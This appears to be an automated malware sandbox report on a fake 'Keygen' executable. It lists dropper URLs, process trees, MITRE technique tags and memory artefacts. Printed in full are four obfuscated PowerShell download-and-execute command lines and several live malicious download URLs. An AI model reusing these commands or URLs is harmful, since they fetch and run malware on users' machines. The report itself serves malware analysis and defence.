201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
8s
max time network
157s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (25).exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

2004 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3024 timeout.exe
2736 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
2004	Keygen.exe

pid	process
3024	timeout.exe
2736	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2724	powershell.exe
1508	powershell.exe
1252	powershell.exe
3256	powershell.exe
1508	powershell.exe
2724	powershell.exe
3256	powershell.exe
1252	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	3256	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

2004 Keygen.exe

pid	process
2004	Keygen.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

Keygen — копия (25).execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 3856 wrote to memory of 1400	3856	Keygen — копия (25).exe	cmd.exe
PID 3856 wrote to memory of 1400	3856	Keygen — копия (25).exe	cmd.exe
PID 3856 wrote to memory of 1400	3856	Keygen — копия (25).exe	cmd.exe
PID 1400 wrote to memory of 2004	1400	cmd.exe	Keygen.exe
PID 1400 wrote to memory of 2004	1400	cmd.exe	Keygen.exe
PID 1400 wrote to memory of 2004	1400	cmd.exe	Keygen.exe
PID 1400 wrote to memory of 2136	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 2136	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 2136	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 3012	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 3012	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 3012	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 3024	1400	cmd.exe	timeout.exe
PID 1400 wrote to memory of 3024	1400	cmd.exe	timeout.exe
PID 1400 wrote to memory of 3024	1400	cmd.exe	timeout.exe
PID 1400 wrote to memory of 2180	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 2180	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 2180	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 3020	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 3020	1400	cmd.exe	mshta.exe
PID 1400 wrote to memory of 3020	1400	cmd.exe	mshta.exe
PID 2136 wrote to memory of 1252	2136	mshta.exe	powershell.exe
PID 2136 wrote to memory of 1252	2136	mshta.exe	powershell.exe
PID 2136 wrote to memory of 1252	2136	mshta.exe	powershell.exe
PID 3012 wrote to memory of 2724	3012	mshta.exe	powershell.exe
PID 3012 wrote to memory of 2724	3012	mshta.exe	powershell.exe
PID 3012 wrote to memory of 2724	3012	mshta.exe	powershell.exe
PID 2180 wrote to memory of 1508	2180	mshta.exe	powershell.exe
PID 2180 wrote to memory of 1508	2180	mshta.exe	powershell.exe
PID 2180 wrote to memory of 1508	2180	mshta.exe	powershell.exe
PID 3020 wrote to memory of 3256	3020	mshta.exe	powershell.exe
PID 3020 wrote to memory of 3256	3020	mshta.exe	powershell.exe
PID 3020 wrote to memory of 3256	3020	mshta.exe	powershell.exe
PID 1400 wrote to memory of 2736	1400	cmd.exe	timeout.exe
PID 1400 wrote to memory of 2736	1400	cmd.exe	timeout.exe
PID 1400 wrote to memory of 2736	1400	cmd.exe	timeout.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (25).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (25).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3856

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (25).exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1400

C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2004

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1252

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3012

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2724

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3024

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3256

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2736

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\3AEC.tmp\start.bat

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memory/1252-52-0x00000000078F0000-0x00000000078F1000-memory.dmp

Filesize
4KB

Download
memory/1252-21-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

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memory/1252-15-0x0000000000000000-mapping.dmp

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memory/1400-0-0x0000000000000000-mapping.dmp

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memory/1508-27-0x0000000006450000-0x0000000006451000-memory.dmp

Filesize
4KB

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memory/1508-24-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/1508-18-0x0000000000000000-mapping.dmp

Download
memory/2004-3-0x0000000000000000-mapping.dmp

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memory/2004-2-0x0000000000000000-mapping.dmp

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memory/2136-6-0x0000000000000000-mapping.dmp

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memory/2180-12-0x0000000000000000-mapping.dmp

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memory/2724-31-0x0000000006C10000-0x0000000006C11000-memory.dmp

Filesize
4KB

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memory/2724-56-0x0000000007E80000-0x0000000007E81000-memory.dmp

Filesize
4KB

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memory/2724-26-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

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memory/2724-17-0x0000000000000000-mapping.dmp

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memory/2736-25-0x0000000000000000-mapping.dmp

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memory/3012-8-0x0000000000000000-mapping.dmp

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memory/3020-14-0x0000000000000000-mapping.dmp

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memory/3024-9-0x0000000000000000-mapping.dmp

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memory/3256-30-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

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memory/3256-40-0x00000000073B0000-0x00000000073B1000-memory.dmp

Filesize
4KB

Download
memory/3256-44-0x0000000006BA0000-0x0000000006BA1000-memory.dmp

Filesize
4KB

Download
memory/3256-48-0x00000000074D0000-0x00000000074D1000-memory.dmp

Filesize
4KB

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memory/3256-36-0x00000000069E0000-0x00000000069E1000-memory.dmp

Filesize
4KB

Download
memory/3256-19-0x0000000000000000-mapping.dmp

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